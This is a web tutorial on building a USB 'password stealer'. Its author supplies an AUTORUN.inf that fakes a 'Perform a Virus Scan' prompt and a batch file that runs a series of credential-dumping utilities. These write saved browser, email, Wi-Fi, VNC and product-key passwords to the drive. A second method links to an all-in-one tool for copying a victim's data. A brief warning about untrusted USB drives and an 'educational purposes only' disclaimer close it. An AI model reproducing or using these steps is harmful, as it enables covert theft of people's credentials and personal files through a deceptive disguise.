Create your own USB Password stealer

This tutorial will walk you through setting up a USB flash drive to steal the saved passwords on a computer.

Method 1

open notepad/wordpad

ACTION= Perform a Virus Scan


save this as AUTORUN.inf

open a new notepad/wordpad document

type:start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start PasswordFox.exe /stext passwordfox.txt

start OperaPassView.exe /stext OperaPassView.txt

start ChromePass.exe /stext ChromePass.txt

start Dialupass.exe /stext Dialupass.txt

start netpass.exe /stext netpass.txt

start WirelessKeyView.exe /stext WirelessKeyView.txt

start BulletsPassView.exe /stext BulletsPassView.txt

start VNCPassView.exe /stext VNCPassView.txt

start OpenedFilesView.exe /stext OpenedFilesView.txt

start ProduKey.exe /stext ProduKey.txt

start USBDeview.exe /stext USBDeview.txt

save this as LAUNCH.bat
copy the autorun and launch file to your USB
go to and download the programs named in step 2
extract the files you downloaded to your desktop and copy all the .exe files to your USB
remove and re-insert your USB
click on the option perform a virus scan
(this is an exemple, if you want it to say something else go to the autorun file and change it 😉 )
go to my computer—> USB DRIVE and open it you will now see some text files, if you open them you will see usernames and passwords


NOTICE: this only recovers passwords that have once been saved on your computer


Method 2

Here’s an all-in-0ne program that will copy the whole computer + the passwords stored on the pc. When plugged in , the usb stealer will gather everything on the computer and file it in it’s category. (This tool is used to remotely steal all of users data) For example.

System info
Processes running
Mozilla firefox file dump
Internet Explorer file dump
Google chrome file dump

Note* This can take a while to copy everything from the computer depending on the victim’s amount of data.*

Click here to download



A lesson for all , to never trust usb’s ,as it can compromise your personal files and with the recently new bug found in USB’s called, the ‘Bad USB’ ,where malicious users insert their own sort of firmware allowing the usb to act as a RAT/trojan , can cause serious damage. By installing usb deview , you will have access to a list to see when and where a USB has been plugged into your computer.

I will not be held responsible for anybodies actions , this tutorial is for educational purposes only.


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